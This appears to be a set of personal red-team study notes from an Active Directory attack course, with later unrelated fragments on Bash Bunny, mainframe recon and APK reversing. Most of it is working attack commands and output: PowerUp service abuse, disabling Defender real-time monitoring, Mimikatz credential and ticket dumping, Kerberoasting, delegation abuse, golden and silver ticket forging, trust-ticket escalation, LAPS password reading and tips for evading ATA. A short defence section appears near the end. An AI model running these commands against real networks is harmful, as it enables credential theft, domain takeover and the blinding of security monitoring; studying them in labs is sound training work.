| -a---- 9/2/2018 11:55 PM 26485 Get-System.ps1 | |
| -a---- 9/2/2018 11:55 PM 562841 PowerUp.ps1 | |
| -a---- 9/2/2018 11:55 PM 1564 Privesc.psd1 | |
| -a---- 9/2/2018 11:55 PM 67 Privesc.psm1 | |
| -a---- 9/2/2018 11:55 PM 4297 README.md | |
| PS C:\Users\win10\Downloads\PowerSploit-master\Privesc> Import-Module .\PowerUp.ps1 | |
| PS C:\Users\win10\Downloads\PowerSploit-master\Privesc> Invoke-AllChecks | |
| [*] Running Invoke-AllChecks | |
| [*] Checking if user is in a local group with administrative privileges... | |
| [+] User is in a local group that grants administrative privileges! | |
| [+] Run a BypassUAC attack to elevate privileges to admin. | |
| [*] Checking for unquoted service paths... | |
| [*] Checking service executable and argument permissions... | |
| ServiceName : ISSUSER | |
| Path : "C:\Program Files\LANDesk\LDClient\issuser.exe" /SERVICE | |
| ModifiableFile : C:\ | |
| ModifiableFilePermissions : AppendData/AddSubdirectory | |
| ModifiableFileIdentityReference : NT AUTHORITY\Authenticated Users | |
| StartName : LocalSystem <----- with LOCALSYSTEM!!!!!!! | |
| AbuseFunction : Install-ServiceBinary -Name 'ISSUSER' | |
| CanRestart : False <------- we need to wait for the machine to be rebooted | |
| ServiceName : ISSUSER | |
| Path : "C:\Program Files\LANDesk\LDClient\issuser.exe" /SERVICE | |
| ModifiableFile : C:\ | |
| ModifiableFilePermissions : {Delete, GenericWrite, GenericExecute, GenericRead} | |
| ModifiableFileIdentityReference : NT AUTHORITY\Authenticated Users | |
| StartName : LocalSystem | |
| AbuseFunction : Install-ServiceBinary -Name 'ISSUSER' | |
| CanRestart : False | |
| [*] Checking service permissions... | |
| [*] Checking %PATH% for potentially hijackable DLL locations... | |
| ModifiablePath : C:\Users\win10\AppData\Local\Microsoft\WindowsApps | |
| IdentityReference : LETHALLAB\win10 | |
| Permissions : {WriteOwner, Delete, WriteAttributes, Synchronize...} | |
| %PATH% : C:\Users\win10\AppData\Local\Microsoft\WindowsApps | |
| AbuseFunction : Write-HijackDll -DllPath 'C:\Users\win10\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll' | |
| [*] Checking for AlwaysInstallElevated registry key... | |
| [*] Checking for Autologon credentials in registry... | |
| [*] Checking for modifidable registry autoruns and configs... | |
| [*] Checking for modifiable schtask files/configs... | |
| [*] Checking for unattended install files... | |
| [*] Checking for encrypted web.config strings... | |
| [*] Checking for encrypted application pool and virtual directory passwords... | |
| [*] Checking for plaintext passwords in McAfee SiteList.xml files.... | |
| [*] Checking for cached Group Policy Preferences .xml files.... | |
| PS C:\Users\win10\Downloads\PowerSploit-master\Privesc> | |
| ########## | |
| PS C:\Users\win10\Downloads\PowerSploit-master\Privesc> Invoke-ServiceAbuse | |
| PS C:\Users\win10\Downloads\PowerSploit-master\Privesc> Invoke-ServiceAbuse -examples | |
| PS C:\Users\win10\Downloads\PowerSploit-master\Privesc> Invoke-ServiceAbuse -Name AbyssWebServer -UserName 'lethallab\wi | |
| n10' | |
| - the last Invoke-ServiceAbuse command, will add the current user: win10 to the local Administrators group. We had to read the Invoke-ServiceAbuse with the -examples parameter, so that we can learn how to run the command properly. We will need to logoff from the account and log on, so that the new permissions take effect! | |
| And now with Admin privileges we can run the command below to disable AV protection: | |
| >Set-MpPreference -DisableRealtimeMonitoring $true | |
| Hands-On number 4: | |
| Exploit a service on your lab VM and elevate privileges to local administrator! | |
| ##################### | |
| Lesson 4 Lateral Movement Protocols and tools: | |
| PowerShell Remoting | |
| Think of it as psexec on steroids. | |
| You will find this increasingly used in enterprises. Enabled by default on Server 2012 onwards! | |
| You may need to enable remoting (Enable-PSRemoting) on a Desktop Windows machines, Admin privs are required to do that. | |
| You get elevated shell on remote system if admin creds are used to authenticate (which is the default setting). | |
| One-on-One | |
| PSSession: | |
| - Interactive | |
| - Runs in a new process (wsmprovhost) | |
| - Is Stateful | |
| Useful cmdlets: | |
| - New-PSSession | |
| - Enter-PSSession | |
| Example: | |
| PS C:\Users\Administrator.WIN2008SRV> new-pssession -ComputerName win2016srv | |
| Id Name ComputerName State ConfigurationName Availability | |
| -- ---- ------------ ----- ----------------- ------------ | |
| 1 Session1 win2016srv Opened Microsoft.PowerShell Available | |
| PS C:\Users\Administrator.WIN2008SRV> $sess = New-PSSession -computername win2016sr | |
| PS C:\Users\Administrator.WIN2008SRV> Enter-PSSession -session $sess | |
| [win2016srv]: PS C:\Users\administrator\Documents> hostname | |
| WIN2016SRV | |
| PowerShell Remoting: | |
| - One-to-Many | |
| - Also Known as Fan-Out remoting | |
| - non-interactive | |
| - executes commands parallely | |
| - useful cmdlets | |
| - Invoke-Command | |
| - Invoke-Command | |
| - Run commands and scripts on: | |
| - multiple remote computers | |
| - in disconnected session (v3) | |
| - as background job and more. | |
| - the best thing in PowerShell for passing the hashes, using credentials and executing commands on multiple remote computers. | |
| - Use-Credential parameter to pass username/password. | |
| - use below to execute commands or semicolon separated scripts: | |
| Invoke-Command -Scriptblock {Get-Process} -ComputerName (Get-Content <list of servers>) | |
| example: | |
| Invoke-Command -ScriptBlock{whoami;hostname} -ComputerName win2016srv | |
| PS C:\Users\Administrator.WIN2008SRV> Invoke-Command -ScriptBlock{whoami;hostname} -ComputerName win2016srv | |
| lethallab\administrator | |
| WIN2016SRV | |
| Invoke-Command -ScriptBlock{$who = whoami} -ComputerName win2016srv | |
| Invoke-Command -ScriptBlock{$who} -ComputerName win2016srv | |
| - use below command to execute scripts from files: | |
| Invoke-Command -FilePath c:\scripts\Get-PassHashes.ps1 -ComputerName (Get-Content <list of servers>) | |
| ex: | |
| Invoke-Command -FilePath c:\AD\Tools\Invoke-Encode.ps1 -ComputerName Win2016srv | |
| powershell.exe -ep bypass | |
| . c:\AD\Tools\Invoke-Mimikatz.ps1 | |
| Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz} -ComputerName win2016srv | |
| - Use below to execute "Stateful" commands: | |
| $Sess = New-PSSession -ComputerName Server1 | |
| Invoke-Command -Session $Sess -ScriptBlock {$Proc = Get-Process} | |
| Invoke-Command -Session $Sess -ScriptBlock {$Proc.Name} | |
| $sess = New-PSSession -computername win2016sr | |
| Invoke-Command -ScriptBlock{$who = whoami} -Session $sess | |
| Invoke-Command -ScriptBlock{$who} -Session $sess | |
| Invoke-Mimikatz: | |
| - the script could be used to dump credentials, tickets and more using mimikatz with PowerShell without dropping the exe to the disk. | |
| - it is useful for passing and replaying hashes, tickets and for many exciting Active Directory attacks | |
| - using the code from ReflectivePEInjection, mimikatz is loaded reflectively into the memory. All the functions of mimikatz could be useful from this script! | |
| - mimikatz is still being detected, but we can still use it with downloaded cradle, or everywhere where we can execute commands or powershell. | |
| - Dump Credentials on a local machine: | |
| Invoke-Mimikatz -DumpCreds | |
| - Dump certs on a local machine: | |
| Invoke-Mimikatz -DumpCerts | |
| - Dump Credentials on multiple remote machines: | |
| Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2") | |
| - Invoke-Mimikatz uses PowerShell remoting cmdlet Invoke-Command to run the above command. Thus, credentials or administrative access to the remote computers is required! | |
| - "Over-pass-the-hash" generate tokens from hashes: | |
| Invoke-Mimikatz -Command '"sekurlsa::pth /user:administrator /domain:. /ntlm:<ntlmhash> /run:powershell.exe"' | |
| (we can run any command instead of the powershell.exe) | |
| Token Manipulation: | |
| - it is possible to use/impersonate tokens available on a machine | |
| - often tokens are available on machines due to interactive logons, accessing resources, running processes, SSO applications, etc. | |
| - can we use Invoke-TokenManipulation from PowerSploit or Incognito for token impersonation | |
| - administrative privileges are required to adjust token privileges. | |
| - List all the tokens on a machine: | |
| Invoke-TokenManipulation -ShowAll | |
| - List all unique, usable tokens on a machine: | |
| Invoke-TokenManipulation -Enumerate | |
| - Start a new process with token from a specific user: | |
| Invoke-TokenManipulation -ImpersonateUser -Username "domain\user" | |
| - Start news process with token of another process: | |
| Invoke-TokenManipulation -CreateProcess "C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe" -ProcessID 500 | |
| ############################# | |
| Video 5 Domain Privilege Escalation: | |
| NOTE: some information below might not be accurate, because I didn't have a trust domain configured in my home lab; so treat it with a grain of salt, but know that the commands are accurate and the only thing you should worry about is the domains in the command. | |
| Read up on Kerberos authentication and how the client computer contacts the KDC/DC server, to receive the TGT/TGS so that it can access an application server and also how every step, it's abusable! | |
| Kerberoast: | |
| - offline cracking of service account passwords | |
| - the Kerberos session ticket (TGS) has a server portion which is encrypted with the password hash of the service account. This makes it possible to request a ticket and do offline brute-forcing. | |
| - service accounts are many times ignored (passwords are rarely changed) and have Domain Admin privilege access. | |
| - password hashes of service accounts could be used to create Silver tickets. | |
| - presented by Tim Medin at DerbyCon 2014. | |
| We are after the TGT encrypted ticket with krbtgt hash when requesting a TGS ticket (TGS-REQ). | |
| TGS encrypted using target service's NTLM hash (TGS-REP). | |
| We can request a TGS from any service and the KDC will respond with a TGT ticket. | |
| - Find Service Accounts: | |
| GetUserSPNs | |
| https://github.com/nidem/kerberoast/blob/master/GetUserSPNs.ps1 | |
| - PowerView: | |
| Get-NetUser -SPN | |
| Note: for the above command, you should know which user accounts are domain admins! | |
| - Active Directory module (to find krbtgt and priv service accounts) | |
| Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | |
| - Request a ticket: | |
| Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQL/win2016srv.lethallab.local:SQLEXPRESS" | |
| - Request a ticket using PowerView: | |
| Request-SPNTicket | |
| - Check if the ticket has been granted: | |
| klist.exe | |
| - Export all tickets using Mimikatz: | |
| Invoke-Mimikatz -Command '"kerberos::list /export"' | |
| ls | |
| Crack the Service account password: | |
| python.exe .\tgsrepcrack.py .\passwords.txt '.\2-40a10000-labuser@MSSQLvc~ops-win2016srv.lethallab.local~SQLEXPRESS-lethallab.local.kirbi' | |
| Kerberos Delegation: | |
| - Kerberos Delegation allows the "to reuse the end-user credentials to access resources hosted on a different server". Like an application server or database server. This is generally used where Kerberos Double Hop is required. | |
| - Impersonating the incoming/authenticating user is necessary for any kind of Kerberos delegation to work. | |
| - Kerberos delegation is of two types: | |
| - Unconstrained (only option till Server 2003) | |
| - Constrained | |
| How does Kerberos Delegation work: | |
| - a user provides credentials to the Domain Controller | |
| - the DC returns a TGT | |
| - the user requests a TGS for the web service on Web Server | |
| - The DC provides a TGS. | |
| - the user sends the TGT and TGS to the web server. | |
| - the web server service account uses the user's TGT to request a TGS for the database server from the DC. | |
| - the web server service account connects to the database server as the user. | |
| Unconstrained Delegation: | |
| When set for a particular service account, Unconstrained delegation allows delegation to any service on that particular machine. | |
| The service account can then request access to any service in the domain by impersonating the incoming user (because the DC placed the user's TGT inside the TGS in step 4). In our example, the web server service account can request access to any service in the domain as the user connecting to it. | |
| This could be used to escalate privileges in case we can compromise such a machine and a Domain Admin (or other high privilege user) connects to that machine. | |
| - Discover domain computers which have unconstrained delegation enabled using PowerView: | |
| Get-NetComputer -UnConstrained | |
| - Using Active Directory Module: | |
| Get-ADComputer -Filter {TrustedForDelegation -eq $True} | |
| Get-ADUser -Filter {TrustedForDelegation -eq $True} | |
| - We need to compromise the server where Unconstrained Delegation is enabled and wait for or trick a high privilege user to connect to the box. Once such a user is connected, we can export all the tickets, including the TGT of that user using the following command: | |
| Invoke-Mimikatz -Command '"sekurlsa::tickets /export"' | |
| Note: we need administrator rights on the server, where Unconstrained Delegation is enabled! | |
| - the ticket can be reused: | |
| Invoke-Mimikatz -Command '"kerberos::ptt c:\tickets\admin.kirbi"' | |
| Constrained Delegation: | |
| - Introduced in Server 2008 | |
| - as the name suggests, constrained delegation allows access only to specified services on specific computers! | |
| - a typical abusable scenario is when a student authenticates using a non-kerberos authentication and Protocol Transition is used by Kerberos to support a single sign on. | |
| - Couple of Kerberos extensions come into play for Protocol Transition but we are not going to discuss them. | |
| - The service account must have TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION-T2A4D UserAccountControl attribute. | |
| - the service account can access all the services specified in its msDS-AllowedToDelegateTo attribute. | |
| - another interesting issue is that the delegation occurs not only for the specified service but for any service running under the same account. There is no validation for the SPN specified. | |
| - Enumerate users and computers with constrained delegation enabled. | |
| - Using PowerView (dev): | |
| .\PowerView-Dev.ps1 | |
| Get-DomainUser -TrustedToAuth | |
| Get-DomainComputer -TrustedToAuth | |
| - Using Active Directory Module: | |
| Get-AdObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo | |
| - we need to get clear text password or the NTLM hash of the service account. It can then be used with Kekeo: | |
| https://github.com/gentilkiwi/kekeo/ | |
| .\asktgt.exe /user:termadmin /domain:lethallab.local /key:abf05c4e729e45781acd30ed80674b1c /ticket:termadmin.kirbi | |
| - Now, using s4u from Kekeo, request a TGS: | |
| \s4u.exe /tgt:termadmin.kirbi /user:administrator@lethallab.local /service:cifs/ops-sqlsrvone.lethallab.local | |
| - Use the TGS: | |
| Invoke-Mimikatz -command '"kerberos:Ptt cifs.ops-sqlsrvone.lethallab.local.kirbi"' | |
| ls \\ops-sqlsrvone.lethallab.local\C$ | |
| - recall that the delegation is not restricted by SPN, it is possible to create alternate tickets. Exploit it :) | |
| ############################ | |
| Video 6 Persistence Techniques: | |
| - there are many, but we will only mention 2 of them and these 2 are really useful | |
| - A golden ticket is signed and encrypted by the hash of krbtgt account which makes it a valid TGT ticket. | |
| - since user account validation is not done by the Domain Controller (KDC service) until TGT is older than 20 minutes, we can use even deleted/revoked accounts. | |
| - the krbtgt user hash could be used to impersonate any user with any privileges from even a non-domain machine. | |
| - single password change has no effect on this ticket. | |
| - Execute mimikatz on DC: | |
| Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName win2016srv | |
| - On Any Machine: | |
| Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:lethallab.local /sid:s-1-5-21-32-70384115-3177237293-604223749 /krbtgt:5c1a7d30a872cac2b732e7857589d97 /id:500 /groups:513 /ptt"' | |
| - To use the DCSync feature for getting krbtgt hash execute the following command with DA privileges for ops domain: | |
| Invoke-Mimikatz -Command '"lsadump:dcsync /user:ops\krbtgt'" | |
| - A valid TGS (Golden ticket is TGT). | |
| - Encrypted and Signed by the NTLM hash of the service account (Golden ticket is signed by hash of krbtgt) of the service running with that account. | |
| - Services rarely check PAC (Privileged Attribute Certificate). | |
| - Services will allow access only to the services themselves. | |
| - For example, using hash of the Domain Controller computer account, the below command provides access to shares on the DC: | |
| Invoke-Mimikatz -Command '"kerberos::golden /domain:lethallab.local /sid:s-1-5-21-3270384115-3177237293-604223748 /target:win2008srv.lethallab.local /service:cifs /rc4:536752aef9acef8ad3b089a281830b1 /id:500 /user:Administrator /ptt"' | |
| ####################### | |
| Video 7 Privilege Escalation Across Trusts and Domains: | |
| Child to Forest Root: | |
| - Domains in the same forest have an implicit two-way trust with the forest root | |
| - There is a trust key between the parent and child domains. | |
| - There are two ways of escalating privileges between two domains of the same forest: | |
| - krbtgt hash | |
| - Tryst tickets | |
| Look up Child to Parent Trust Flow and read up on it! | |
| Child to Forest Root using Trust Tickets: | |
| - So what is required to forge trust tickets is, obviously, the trust key: | |
| Invoke-Mimikatz -Command '"lsadump::trust /patch"' | |
| - An inter-realm TGT can be forged: | |
| Invoke-Mimikatz -Command '"Kerberos::golden /domain:win2008srv.lethallab.local /sid:s-1-5-21-133038098-372414864-1077246548 /sids:s-1-5-21-3270384115-3177237393-604224748-519 /rc4:f43d2a6daf7641d745fb225be755d8110 /user:Administrator /service:krbtgt /target:powershell.local /ticket:c:\users\Administrator\Desktop\trust_tkt.kirbi"' | |
| - Use the TGS to access the targeted service: | |
| .\kirbikator.exe lsa .\CIFS.ps-dc.powershell.local.kirbi ls \\ps-dc.powershell.local\C$ | |
| - Get a TGS for a service (CIFS below) in the target domain by using the forged trust ticket: | |
| .\asktgs.exe c:\users\administrator\Desktop\trust_tkt.kirbi CIFS/ps-dc.powershell.local | |
| - Tickets for other services (like HOST and RPCSS for WMI, HOST and HTTP for PowerShell Remoting and WinRM) can be created as well. | |
| Child to Forest Root using krbtgt hash: | |
| - SID history once again: | |
| Invoke-Mimikatz -Command '"lsadump::lsa /patch"' | |
| Invoke-Mimikatz -Command '"Kerberos::golden /user:Administrator /domain:offensiveps.powershell.local /sid:s-1-5-21-2969453985-3470385542-739374646 /krbtgt:a9d1cf9d08b6701bca220079b1557506 /sids:s-1-5-21-257853-8781-2508153159-3419410681-519 /ticket:krb_tkt.kirbi"' | |
| - On a machine of offensivepc domain: | |
| Invoke-Mimikatz -Command '"kerberos::pt c:\test\krb_tkt.kirbi"' | |
| - We now have Enterprise Admin Privileges: | |
| ls //ps-dc.powershell.local/C$ | |
| ####################### | |
| Video 8 Detection and Defense: | |
| - Do not allow or limit login of DAs to any other machine other than the Domain Controller. If logins to some server is necessary, do not allow other administrators to login to that machine! | |
| - Do NOT run services with DA account. Many good credential reuse defenses are rendered useless because of it. | |
| Some Important Event ID: | |
| -Event ID: | |
| - 4624: Account Logon | |
| - 4634: Admin Logoff | |
| - 4672: Admin Logon | |
| Detection and Defense against Kerberoast: | |
| Events: | |
| - Security Event ID 4769 - A Kerberos ticket was requested | |
| Migitation: | |
| - Service Account Passwords should be hard to guess (greater than 25 characters) | |
| - Use Managed Service Accounts (Automatic change of password periodically and delegated SPN Management) | |
| https://technet.microsoft.com/en-us/library/jj128431(v=ws.11).aspx | |
| SID filtering: | |
| - avoid attacks which abuse SID history attribute (child to root domain privilege escalation, that is, DA from a Child to EA on forest root). | |
| - enabled by default on all inter-forest trusts. Intra-Forest trusts are assumed secured by default (Microsoft considers forest and not the domain to be a security boundary). | |
| - But, since SID filtering has potential to break applications and user access, it is often disabled. | |
| Selective Authentication: | |
| - in an inter-forest trust, if Selective Authentication is configured, users between the trusts will not be automatically authenticated. Individual access to domains and servers in the trusting domain/forest should be given. | |
| Microsoft ATA (Advanced Threat Analytics): | |
| - traffic destined for Domain Controller(s) is mirrored to ATA sensors and a user activity profile is build over time - use of computers, credentials, log on machines, etc. | |
| - Collect Event 4776 (The DC attempted to validate the credentials for an account) to detect credential replay attacks. | |
| - Can DETECT behavior anomalies! | |
| - Useful for detecting: | |
| - Recon: account enumeration, Netsession enumeration | |
| - Compromised Credentials Attacks: Brute force, high privilege account/service account exposed in clear text, Honey token, unusual protocol (NTLM and Kerberos) | |
| - Credential/Hash/Ticket Replay attacks. | |
| Bypassing ATA: | |
| - ATA, for all its goodness, can be bypassed and avoided | |
| - The key is avoid talking to the DC as long as possible and make appear the traffic we generate as attacker normal! | |
| Architectural Changes: | |
| LAPS(Local Administrator Password Solution): | |
| - Centralized storage of passwords in AD with periodic randomizing where read permissions can be access controlled | |
| - Storage in clear text, transmission is encrypted | |
| - LAPS into: https://technet.microsoft.com/en-us/mt227395.aspx | |
| - Abusing LAPS feature: | |
| https://blog.netspi.com/running-laps-around-cleartext-passwords/ | |
| Privileged Administrative Workstations (PAWs): | |
| - a hardened workstation for performing sensitive tasks like administration of domain controllers, cloud infrastructure, sensitive business functions, etc. | |
| - can provide protection from phishing attacks, OS vulnerabilities, credential replay attacks. | |
| Privileged Administrative Workstations (PAWs): | |
| Multiple strategies: | |
| - Separate privilege and hardware for administrative and normal tasks | |
| - Admin Jump servers to be accessed only from a PAW | |
| - Having a VM on a PAW for user tasks | |
| Active Directory Administrative Tier Model | |
| Composed of three levels only for administrative accounts: | |
| - Tier 0 - Accounts, Groups, and computers which have privileges across the enterprise like domain controllers, domain admins, enterprise admins. | |
| - Tier 1 - Accounts, Groups and Computers which have access to resources having significant amount of business value. A common example role is server administrators who maintain these operating systems with the ability to impact all enterprise services. | |
| - Tier 2 - Administrator accounts which have administrative control of significant amount of business value that is hosted on user workstations and devices. Examples, include Help Desk and computer support administrators because they can impact the integrity of almost any user data. | |
| So we are implementing: Control Restrictions, Logon Restrictions (and Directional from Tier 2, to Tier 1, to Tier 0). | |
| ESAE (Enhanced Security Admin Environment): | |
| Dedicated administrative forest for managing critical assets like administrative users, groups and computers. | |
| Since a forest is considered a security boundary rather than a domain, this model provides enhanced security controls. | |
| The Administrative forest is also called the Red Forest! | |
| Administrative users in a production forest are used as standard non-privileged users in the administrative forest. | |
| Selective Authentication to the Red Forest enables stricter security controls on logon of users from non-administrative forests. | |
| Securing Prileged Access: | |
| https://technet.microsoft.com/en-us/windows-server-docs/security/securing-privileged-access/securing-privileged-access | |
| Microsoft Paper - Best Practices for Security Active Directory: | |
| http://aka.ms/bpsadtrd |
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| PAM Trust Enumeration | |
| Using the AD mocule, we can enumerate Trust Properties. If a trust has a Forest Transitive set to True and SIDFilteringQuarantined set to false (which means that SID Filtering is disabled), it has properties set for PAM trust. | |
| Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)} | |
| To be sure about use of PAM Trust, we can enumerate the shadow security principals. | |
| Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl | |
| To check if we are in a production or user forest, We can filter Forest Trusts | |
| ***************Make sure that you have both the Microsoft.ActiveDirectory.Management.dll and the ActiveDirectory\ActiveDirectory.psd1 modules loaded!!! | |
| Get-ADTrust -Filter {(ForestTransitive -eq $True)} | |
| If TAPT (TRUST_ATTRIBUT_PIM_TRUST) is 0x00000400 (1024 in decimal) for PAM/PIM and TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL (0x00000040) are set, the trust is a PAM Trust | |
| A trust attribute of 1096 is for PAM (0x00000400) and External Trust (0x00000040) and Forest Transitive (0x00000008) | |
| List all computers in domain powershell | |
| Get-DomainComputer | select DNSHOSTNAME | |
| List of users to compromise in order to abuse PAM Trust | |
| Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl | |
| The output will show | |
| 1. Name of the shadow principal | |
| 2. Members from the bastion forest that are mapped to the shadow principal | |
| 3. SID of the principal user or group in the forest whose privileges are assigned to the shadow security principal. |
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| Enumerate on which OUs LAPS is in use and which users are allowed to read passwords: | |
| https://github.com/GreyCorbel/admpwd/tree/master/Main | |
| https://github.com/ztrhgf/LAPS/tree/master/AdmPwd.PS | |
| Import-Module C:\AD\Tools\AdmPwd.PS\AdmPwd.PS.psd1 | |
| Find-AdmPwdExtendedRights -Identity OUDistinguishedName ****This has issues, use the command below if getting error messages | |
| Find-AdmPwdExtendedRights -Identity * | |
| Enumerate on which OUs LAPS is in use and which users are allowed to read passwords using Powerview | |
| Get-NetOU -FullData | Get-ObjectAcl -ResolveGUIDs | Where-Object { ($_.ObjectType -like 'ms-Mcs-AdmPwd') -and ($_.ActiveDirectoryRights -match 'ReadProperty') } | ForEach-Object { $_ | Add-Member NoteProperty 'IdentitySID' $(Convert-NameToSid $_.IdentityReference).SID; $_ } | |
| Use the following to read clear text LAPS Passwords via PowerView (Keep in mind you have to be in the context of someone with the privileges to read the LAPS passwords, gleaned from the commands above) | |
| Get-ADObject -SamAccountName <targetmachine$> | select ExpandProperty ms-mcs-admpwd | |
| Use the following to read clear text LAPS Passwords via ActiveDirectory Module (Keep in mind you have to be in the context of someone with the privileges to read the LAPS passwords, gleaned from the commands above) | |
| Get-ADComputer -Identity <targetmachine> -Properties msmcs-admpwd | select -ExpandProperty ms-mcs-admpwd | |
| Use the following to read clear text LAPS Passwords via LAPS Module (Keep in mind you have to be in the context of someone with the privileges to read the LAPS passwords, gleaned from the commands above) | |
| Get-AdmPwdPassword -ComputerName <targetmachine> |
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| https://forums.hak5.org/topic/40971-info-tools/ <----Go here and download Impacket and Responder | |
| https://storage.googleapis.com/bashbunny_tools/impacket-bunny.deb | |
| https://storage.googleapis.com/bashbunny_tools/responder-bunny.deb | |
| https://storage.googleapis.com/bashbunny_tools/gohttp-bunny.deb | |
| Good setup video | |
| https://www.youtube.com/watch?v=VI1ie4cAIho | |
| Set up bash bunny - | |
| 1. Download firmware from | |
| 2. https://wiki.bashbunny.com/downloads.html | |
| 3. Place firmware version into root of bash bunny - Do not unzip or decompress file | |
| 4. Safely remove bash bunny, and insert bash bunny back into computer, wait 10 minutes for flash to complete. | |
| 5. Follow instructions on youtube video above | |
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| Get rid of stupid fucking ipv6 problems | |
| Add these lines to /etc/sysctl.conf | |
| Code: Select all | |
| example | |
| echo | |
| net.ipv6.conf.all.disable_ipv6 = 1 | |
| net.ipv6.conf.default.disable_ipv6 = 1 | |
| net.ipv6.conf.lo.disable_ipv6 = 1 | |
| net.ipv6.conf.eth0.disable_ipv6 = 1 | |
| net.ipv6.conf.[interface].disable_ipv6 = 1 | |
| Save and close. | |
| Activate with: | |
| Code: Select all | |
| sysctl -p | |
| --------------- | |
| Having a keyboard will fuck up your boot process and make you type in ctrl + D to continue |
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| Recon: Looking for | |
| On the system: | |
| LPAR names / IP addresses | |
| User name convention - for brute forcing | |
| CICS regions | |
| application names | |
| passwords | |
| config files | |
| user guides | |
| Mailing lists (these are public) | |
| IBMMAIN | |
| IBMTCP-L | |
| CICS-L | |
| RACF-L | |
| Googlehacking | |
| site:share.confex.com | |
| sharpoint: LPAR - CICS - IMS | |
| attachmate: 'CICS Explorer' 'TSO ID' | |
| ============================================ | |
| NMAP/Scanning | |
| Nmap is good at identification I.E. - knowing it's a mainframe | |
| Safe scan for mainframe | |
| ------------------------------------- | |
| nmap -n -p- -dd -oA ip.date.initial <ip> | |
| nmap -sV -p 23,22,21 -vv -d -oA ip.date.service <ip> | |
| Enumerate the LU - Enumerate any VTAM applications | |
| Available Nmap scripts | |
| tn3270-screen | |
| vtam-enum | |
| cics-enum | |
| tso-enum | |
| tso-brute | |
| cics-user-enum | |
| cics-user-brute | |
| cics-info | |
| nmap --script tn3270-screen --script-args tn3270-screen.commands="tso;user;password" | |
| nmap -n -p 23 <ip> -sV -vv --script vtam-enum --script-args vtam-enum.path=/home/test,idlist=vtam.list | |
| --------------------- |
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| ALLOCATE | |
| ALLOC | |
| Allocating data sets. | |
| CALL | |
| CALL | |
| Loading and executing programs. | |
| CANCEL | |
| CANCEL | |
| Halting a submitted job. | |
| DELETE | |
| DEL | |
| Deleting one or more data set entries or one or more members of a partitioned data set. | |
| EDIT | |
| E | |
| Entering data into data sets, or directly modifying data that is already in a data set. | |
| FREE | |
| FREE | |
| Releasing (deallocating) a previously allocated data set. | |
| HELP | |
| H | |
| Obtaining information about the function, syntax, and operands of commands and subcommands and information about certain messages. | |
| LISTALC | |
| LISTA | |
| Listing the data sets that are currently allocated to the TSO/E session. | |
| LISTBC | |
| LISTB | |
| Listing mail and notices for your installation. | |
| LISTCAT | |
| LISTC | |
| Listing the data sets beginning with your prefix or the data sets in a particular catalog | |
| LISTDS | |
| LISTD | |
| Listing certain attributes of data sets. | |
| LOGOFF | |
| LOGOFF | |
| Ending a terminal session. | |
| LOGON | |
| LOGON | |
| Accessing the system. | |
| MVSSERV | |
| MVSSERV | |
| Accessing host capabilities from a Personal Computer. | |
| OUTPUT | |
| OUT | |
| Listing or directing held output. | |
| PRINTDS | |
| PR | |
| Printing a data set on a system printer. | |
| PROFILE | |
| PROF | |
| Listing or changing your user profile. | |
| RECEIVE | |
| RECEIVE | |
| Receiving a transmitted message or data set. | |
| RENAME | |
| REN | |
| Changing the name of a non-VSAM cataloged data set or a member of a partitioned data set, or creating an alias name for a member of a partitioned data set. | |
| RUN | |
| R | |
| Compiling, loading, and executing source statements in a data set. | |
| SEND | |
| SE | |
| Sending messages to another terminal user or the system operator on your system. | |
| SMCOPY | |
| SMC | |
| Copying one data set to another | |
| STATUS | |
| ST | |
| Checking the progress of a job. | |
| SUBMIT | |
| SUB | |
| Submitting a background job for processing. | |
| TERMINAL | |
| TERM | |
| Listing or changing the operating characteristics of your terminal. | |
| TRANSMIT | |
| XMIT | |
| Sending messages or data sets to users on your system or on another system. | |
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| Start an RPC Server: | |
| rpc::server | |
| Connect to RPC server: | |
| rpc::connect | |
| Stop RPC Connection: | |
| rpc::server /stop | |
| Enumerate all the RPC things: | |
| rpc::enum | |
| Securely Connect to RPC Server: | |
| rpc::connect /server:192.168.1.66 /alg:RC4 | |
| Interact with remote RPC Server: | |
| ***Always prepend commands with an asterisk to interact remotely | |
| local mimikatz command - sekurlsa::logonpasswords | |
| remote mimikatz command - *sekurlsa::logonpasswords |
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| First, lets break down the apk | |
| java -jar apktool_2.1.1.jar d <apkname.apk> | |
| Now, let's break down the apk again to get the classes.dex and turn it into a .jar file. | |
| ./dj2-dex2jar.sh <apkname.apk> -o <output-file.jar> | |
| Now lets run JD-GUI, select the <output-file.jar> from above, and run it. This will help decompile some code that is very similar to the original source code. | |
| java -jar baksmali-2.1.1.jar <dex-file.dex> | |
| After running this command, the output results will be placed into a directory called out. | |
| java -jar smali-2.1.1.jar source-directory-containing-smali-code/ | |
| This will Take the smali code and turn it into a dex file | |
| 1. Run dex2jar as seen above, and turn the apk into a . jar file ./dj2-dex2jar.sh <apkname.apk> -o <output-file.jar> | |
| 2. Use apktool to retrieve the AndroidManifest.xml file java -jar apktool_2.1.1.jar d <apkname.apk> | |
| 3. Look at the AndroidManifest.xml file and gather some information about the app. Look at the permissions and intents. IE - Intenet permission etc etc. keywords - files, access, user, password | |
| 4. When you find something interesting in the AndroidManifest.xml file, load the <output-file.jar> from above usage with dex2jar, with JD-GUI and check the contents of your juicy file you found in step 3 | |
| 5. |
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| In order to reverse an APK, do the following | |
| java -jar apktool_2.1.1.jar d <apkname.apk> | |
| Keep in mind that the "d" option will decode the APK | |
| The resulting output will be a directory with the AndroidManifest.xml | |
